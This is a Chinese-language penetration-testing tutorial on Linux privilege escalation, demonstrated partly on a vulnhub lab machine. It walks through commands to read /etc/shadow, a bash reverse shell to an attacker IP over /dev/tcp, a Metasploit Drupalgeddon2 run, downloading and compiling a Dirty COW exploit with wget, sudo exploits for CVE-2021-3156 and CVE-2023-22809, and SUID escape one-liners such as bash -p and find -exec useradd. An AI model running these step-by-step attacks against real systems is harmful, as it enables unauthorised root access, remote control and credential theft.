在渗透测试的流程中,当我们成功拿下目标主机的普通用户权限后,权限提升(提权)往往是接下来的核心目标 ------ 只有获取到最高的 root 权限,我们才能完全掌控目标系统,读取敏感信息、部署持久化控制,或是完成更深层次的渗透。
Linux 作为服务器领域最常用的操作系统,其提权方式多种多样,从内核漏洞利用到配置缺陷利用,不同的场景下我们需要选择不同的提权思路。本文将从基础的前置指令开始,一步步带你梳理 Linux 下常见的提权技巧,结合实战案例帮你掌握这些核心技能。
一、提权前置:Linux 常用基础指令
在进行提权操作之前,我们首先需要掌握 Linux 下的基础操作指令,这些指令是我们进行信息收集、命令执行的基础。我们可以将这些指令分为 12 大类,其中带重点标记的是提权过程中最常用的信息收集指令:

1. 系统信息查看类
-
uname \-a:打印所有可用的系统信息,包括内核版本,这是我们判断内核漏洞的核心依据 -
date:查看当前系统的日期、时间
2. 文件目录类
-
dir:显示当前目录文件 -
ls \-al:显示当前目录下所有文件,包括隐藏文件 -
pwd:查询当前所在的目录位置 -
cd:切换目录,cd \.\.回到上一层目录,cd /返回到根目录 -
cat 文件名:查看文件内容 -
cat \>abc\.txt:往文件中写入内容 -
cat /etc/passwd:列出系统上的所有用户,用于用户信息收集 -
cat /etc/shadow:列出系统上的所有用户密码哈希,获取到这个文件我们甚至可以直接破解 root 密码 -
more 文件名:分页显示文本文件内容 -
cp:复制文件 -
mv:移动文件 -
rm:删除文件,rm \-r 目录名可以删除目录及子目录 -
mkdir:建立目录 -
rmdir:删除空目录 -
chmod:设定档案或目录的存取权限 -
grep:在文件中查找字符串 -
diff:文件比较 -
find:文件搜寻
3. 用户帐号类
-
whoami:查看当前登录的用户,确认我们当前的权限 -
who:查询目前和你使用同一台机器的人以及登录时间地点 -
w:查看目前已登录的用户,以及他们正在做什么 -
last:查看最后登录用户的列表 -
lastlog:查看所有用户上次登录的信息 -
useradd:添加账号 -
groups:查看当前用户的用户组 -
passwd:更改密码 -
history:显示当前用户的历史命令记录,往往能从历史命令中找到管理员的密码或者敏感操作 -
su:切换用户身份,转换为指定使用者 -
列出所有超级用户账户:
grep \-v \-E \&\#34;^\#\&\#34; /etc/passwd \| awk \-F: \&\#39;$3 == 0 \{ print $1\}\&\#39;
4. 进程与程序类
-
ps:显示进程状态 -
kill:停止某个进程 -
gcc/g\+\+:编译 C/C++ 代码,很多提权的 EXP 都需要我们在目标主机上编译后才能运行
5. 网络服务类
-
telnet IP:telnet 连接对方主机 -
ftp:ftp 连接服务器
其他的驱动挂载、程序安装、压缩解压等指令,我们在提权过程中也会根据需要使用,掌握这些基础指令,是我们进行后续提权操作的基础。
二、内核漏洞提权:经典的脏牛提权实战
内核漏洞提权是 Linux 提权中最经典的思路之一,其核心原理是利用 Linux 内核本身存在的安全漏洞,通过漏洞利用代码(EXP)来获取 root 权限。其中最知名的就是 "脏牛" 漏洞,我们先从基础的信息收集开始,一步步讲解整个流程。
2.1 信息收集:确认系统版本
在进行内核漏洞利用之前,我们首先需要确认目标主机的系统版本和内核版本,以此来寻找对应的漏洞 EXP。
查看发行版本
Linux 有很多不同的发行版,比如 CentOS、Ubuntu、Debian 等,不同的发行版对应的漏洞 EXP 可能会有差异,我们可以通过以下命令查看:
cat /etc/issue
cat /etc/*-release
查看内核版本
内核版本是我们寻找漏洞的核心依据,Linux 内核版本号由 3 组数字组成:
-
第一组:内核主版本
-
第二组:偶数代表稳定版本,奇数代表开发中版本
-
第三组:错误修补的次数
我们可以通过以下命令查看:
uname -a
比如输出:Linux jadenkali2 4\.0\.0\-kali1\-amd64 \#1 SMP Debian 4\.0\.4\-1\+kali2 \(2015\-06\-03\) x86\_64 GNU/Linux,就可以得知内核版本是 4.0.4。
拿到内核版本后,我们就可以通过searchsploit或者在线的漏洞库来寻找对应的内核漏洞 EXP,比如著名的 SecWiki 的 linux-kernel-exploits 库就收集了大量的内核漏洞利用代码。
2.2 为什么要反弹 Shell?
很多时候,我们最初拿到的只是 WebShell,也就是通过网站木马得到的命令执行权限。这种权限是非交互式的,而大部分内核漏洞的 EXP 都需要在交互式的终端下才能运行,否则即使提权成功我们也无法利用。
因此,在进行内核提权之前,我们首先需要将非交互式的 WebShell,反弹为一个交互式的 CmdShell,这个过程就叫做反弹 Shell。
简单来说,反弹 Shell 就是让目标主机主动连接我们的攻击主机,然后把目标主机的命令行终端 "映射" 到我们的攻击主机上,这样我们就可以像直接登录目标主机一样,进行交互式的命令操作。
常见的反弹 Shell 方式有很多,最常用的是 Bash 反弹:
- 首先在我们的攻击主机上开启 NC 监听,等待目标主机的连接:
nc -vv -l -p 8000
- 然后在目标主机的 WebShell 中执行以下命令,就可以把 Shell 反弹到我们的攻击主机:
bash -i >& /dev/tcp/你的攻击机IP/8000 0>&1
执行完成后,我们的攻击主机就会收到目标主机的连接,得到一个交互式的终端。
拓展:反弹 Shell 的命令有很多种,你可以通过在线生成工具快速生成不同语言的反弹命令:反弹 Shell 命令在线生成
2.3 实战:脏牛漏洞提权
脏牛(Dirty COW)是 Linux 历史上最知名的本地提权漏洞之一,它是一个竞争条件漏洞,存在于 Linux 内核的内存子系统中,可以让普通用户获取 root 权限。
脏牛漏洞分为两个版本:
-
脏牛 1.0:适用于内核版本低于 4.8 的系统
-
脏牛 2.0:适用于内核版本高于 4.8 的系统
漏洞原理
当一个进程正在尝试修改其映射的只读内存页面时,另一个进程也在同时访问这个页面。此时内核可能会出现竞争条件,导致两个进程都能修改这个页面,攻击者就可以利用这个缺陷,以更高的权限执行命令,完成提权。
实战步骤
我们以 vulnhub 的靶场为例,演示整个提权流程:
-
信息收集,找到靶机 IP 首先我们通过 nmap 扫描内网网段,找到靶机的 IP 地址:
nmap 10.0.0.0/24通过端口扫描,我们发现靶机开放了 80 和 1898 端口,并且运行着 Drupal CMS。
-
利用 Drupal 漏洞获取初始权限 我们使用 Metasploit 中的 Drupalgeddon2 漏洞模块,直接获取目标主机的 WebShell:
msfconsole search Drupal use exploit/unix/webapp/drupal_drupalgeddon2 set rhosts 10.0.0.5 set rport 1898 run漏洞利用成功后,我们就得到了目标主机的会话,输入
shell就可以进入命令行,然后通过 python 升级为交互式终端:python -c 'import pty; pty.spawn("/bin/bash")'此时我们查看当前用户,发现只是普通用户权限,需要提权。
-
确认内核版本,选择对应 EXP 我们执行
uname \-a查看内核版本,发现目标内核版本低于 4.8,因此我们选择脏牛 1.0 的 EXP(Dirty.cpp)。 -
上传并编译 EXP 我们将 EXP 上传到我们的攻击主机的 Web 服务上,然后在目标主机的 /tmp 目录(临时目录,一般所有用户都有读写权限)下载这个 EXP:
cd /tmp wget http://你的攻击机IP/Dirty.cpp然后我们需要编译这个 C++ 代码,因为目标主机无法直接运行源码:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow Dirty.cpp -lutil -
执行 EXP,完成提权 编译完成后,直接执行编译好的文件:
./dcow -s执行完成后,我们就成功提权到 root 权限了!
注意:内核漏洞提权是一把双刃剑,很多公开的内核 EXP 并不稳定,执行后可能会导致目标主机崩溃,因此内核漏洞提权一般是我们最后的选择,优先尝试其他更稳定的提权方式。
三、Sudo 提权:利用 Sudo 配置漏洞提权
除了内核漏洞,Sudo 的配置漏洞也是非常常见的提权方式。Sudo 是 Linux 下用来授权普通用户执行管理员命令的工具,管理员可以通过/etc/sudoers配置文件,允许普通用户以 root 身份执行特定的命令。
但如果 Sudo 本身存在漏洞,或者配置文件存在缺陷,普通用户就可以利用这个缺陷,直接获取 root 权限。

3.1 CVE-2023-22809 Sudo 提权漏洞
这个漏洞影响 Sudo 1.8.0~1.9.12p1 版本,利用这个漏洞,普通用户可以直接提权到 root。
利用步骤:
-
首先查看目标主机的 Sudo 版本,确认是否存在漏洞:
sudo -V -
将 EXP 脚本上传到目标主机的 /tmp 目录,然后给脚本执行权限:
chmod 777 SUDO-EXP.sh -
执行脚本,根据提示输入确认,就可以成功提权到 root:
./SUDO-EXP.sh
3.2 CVE-2021-3156 Baron Samedit 漏洞
这个漏洞是 2021 年披露的高危漏洞,当 sudo 通过 - s 或 - i 选项在 shell 模式下运行命令时,存在缓冲区溢出漏洞,普通用户可以直接利用这个漏洞获取 root 权限,影响的版本包括:
-
sudo 1.8.2 - 1.8.31p2
-
sudo 1.9.0 - 1.9.5p1
利用步骤:
-
查看 Sudo 版本,确认存在漏洞。
-
切换到 /tmp 目录,上传对应的 EXP 脚本。
-
编译 EXP:
make -
执行脚本,根据系统版本选择对应的选项,就可以完成提权:
./sudo-hax-me-a-sandwich 0执行完成后,我们就得到了 root 权限。
四、SUID 提权:利用特殊权限的提权技巧
SUID 是 Linux 下的一种特殊文件权限,设置了 SUID 权限的程序,当普通用户执行它的时候,会临时获得该程序属主的权限。比如,如果一个程序的属主是 root,并且设置了 SUID 权限,那么普通用户执行这个程序的时候,就会临时获得 root 的权限。
最典型的例子就是ping命令,ping 需要 root 权限才能打开网络套接字,所以管理员给 ping 命令设置了 SUID 权限,这样普通用户也能正常使用 ping 命令。
而攻击者就可以利用这个特性,找到那些设置了 SUID 权限、并且可以用来执行命令的程序,以此来提权。

4.1 查找 SUID 文件
首先我们需要在目标主机上,查找所有设置了 SUID 权限的文件,我们可以用以下三个命令:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
这些命令会列出所有 root 属主、并且设置了 SUID 权限的文件,同时把错误信息重定向到空设备,避免权限不足的错误输出干扰我们。
4.2 常见的 SUID 提权命令
找到这些文件后,我们就可以看其中有没有我们可以利用的命令,常见的可用于提权的 SUID 命令有:Nmap、Vim、find、Bash、More、Less、Nano 等。
我们来看看这些命令的利用方式:
1. Nmap 提权
比较旧版本的 Nmap(2.02 至 5.21)带有交互模式,我们可以进入交互模式后执行系统命令:
nmap --interactive
!sh
执行完这两个命令,我们就得到了 root 的 Shell。
2. find 命令提权
如果 find 命令设置了 SUID 权限,那么通过 find 执行的命令都会以 root 权限运行:
touch test
find test -exec whoami \;
# 甚至可以直接添加用户
find test -exec useradd niko \;
3. Vim 提权
如果 Vim 设置了 SUID 权限,那么 Vim 就会以 root 权限运行,我们可以直接读取 /etc/shadow 这样的敏感文件,甚至修改系统配置:
vim /etc/shadow
4. Bash 提权
如果 Bash 本身设置了 SUID 权限,那么我们只需要执行:
bash -p
就可以直接得到 root 权限的交互式 Shell。
5. Less 命令提权
如果 less 命令有 SUID 权限,我们可以用它打开文件,然后在 less 的交互模式下执行 Shell:
less /etc/passwd
!/bin/sh
注意:SUID 提权的成功率取决于目标系统的配置,并不是所有的 SUID 文件都能用来提权,我们需要根据实际情况逐个尝试。
总结
Linux 提权是渗透测试中非常重要的一环,除了我们本文讲到的内核漏洞提权、Sudo 提权、SUID 提权之外,还有很多其他的提权方式,比如环境变量劫持、定时任务提权、配置文件泄露等等。
在实际的渗透测试中,我们的优先级应该是:
-
优先尝试配置类的提权方式,比如 SUID、Sudo 漏洞、定时任务等,这些方式最稳定,不会导致系统崩溃。
-
其次尝试软件漏洞类的提权,比如 sudo 的漏洞。
-
最后才考虑内核漏洞提权,因为内核漏洞的 EXP 往往不稳定,很容易导致目标主机崩溃,影响业务。
掌握这些提权技巧,能够帮助我们在渗透测试中,从一个普通的用户权限,一步步拿到系统的最高权限,完成整个渗透流程。
参考资料
-
反弹 Shell 在线生成:https://forum.ywhack.com/shell.php
-
Linux 内核漏洞 EXP 库:https://github.com/SecWiki/linux-kernel-exploits
-
SUID 提权参考:https://pentestlab.blog/2017/09/25/suid-executables/
-
Linux 提权总结:https://www.cnblogs.com/hellobao/articles/17259849.html